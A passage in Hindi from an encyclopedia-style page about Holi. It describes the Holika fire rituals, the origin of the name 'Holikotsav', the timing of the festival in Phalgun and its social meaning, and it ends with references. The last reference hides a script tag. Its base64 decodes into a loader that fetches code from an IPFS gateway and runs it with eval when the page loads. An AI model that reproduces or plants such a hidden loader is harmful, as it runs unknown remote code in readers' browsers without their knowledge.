  • सार्वजनिक होली से अग्नि लाकर घर में बनाई गई होली में अग्नि प्रज्ज्वलित की जाती है। अंत में सभी पुरुष कुमकुम का टीका लगाते है और महिलाएँ होली के गीत गाती हैं। इस दिन घर के बुजुर्गों के चरण छूकर मंगलमय जीवन का आशीर्वाद लिया जाता है। पौराणिक मान्यता के अनुसार होली की बची हुई अग्नि और राख को अगले दिन सुबह घर में लाने से घर का और परिवार के सभी सदस्यों का अशुभ शक्तियों से बचाव होता है।[4]

होलिकोत्सव

इस पर्व को 'नवान्नेष्टि यज्ञपर्व' भी कहा जाता है, क्योंकि खेत से आये नवीन अन्न को इस दिन यज्ञ में हवन करके प्रसाद लेने की परम्परा भी है। उस अन्न को होला कहते है। इसी से इसका नाम 'होलिकोत्सव' पड़ा। होली का समय अपने आप में अनूठा ही है। फ़रवरी- मार्च में जब होली मनाई जाती है, तब सब ओर चिंतामुक्त वातावरण होता है- किसान फ़सल कटने के बाद आश्वस्त होता है। पशुचारा तो संगृहित किया जा चुका होता है। शीत ऋतु अपने समापन पर होती है। दिन न तो बहुत गर्म, न ही रातें बहुत ठंडी होती हैं। होली फाल्गुन मास में पूर्ण चंद्रमा के दिन मनाई जाती है। यद्यपि यह उत्तर भारत में एक सप्ताहमणिपुर में छह दिन तक मनाई जाती है। होली वर्ष का अंतिम तथा जनसामान्य का सबसे बड़ा त्योहार है। सभी लोग आपसी भेदभाव को भुलाकर इसे हर्ष व उल्लास के साथ मनाते हैं। होली पारस्परिक सौमनस्य एकता और समानता को बल देती है। विभिन्न देशों में इसके अलग-अलग नाम और रूप हैं। होलिका की अग्नि में पुराना वर्ष 'जो होली' के रूप में जल जाता है और नया वर्ष नयी आशाएँ, आकांक्षाएँ लेकर प्रकट होता है। मानव जीवन में नई ऊर्जा, नई स्फूर्ति का विकास होता है। यह 'हिन्दुओं का नववर्षोत्सव' है।


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टीका टिप्पणी और संदर्भ

  1. फाल्गुन पूर्णिमा
  2. व्रत, भाग 2, पृ0 174-190
  3. भविष्योत्तर, 132।1।51
  4. 4.0 4.1 कैसे करें होलिका दहन (हिन्दी) वेबदुनिया। अभिगमन तिथि: 03 मार्च, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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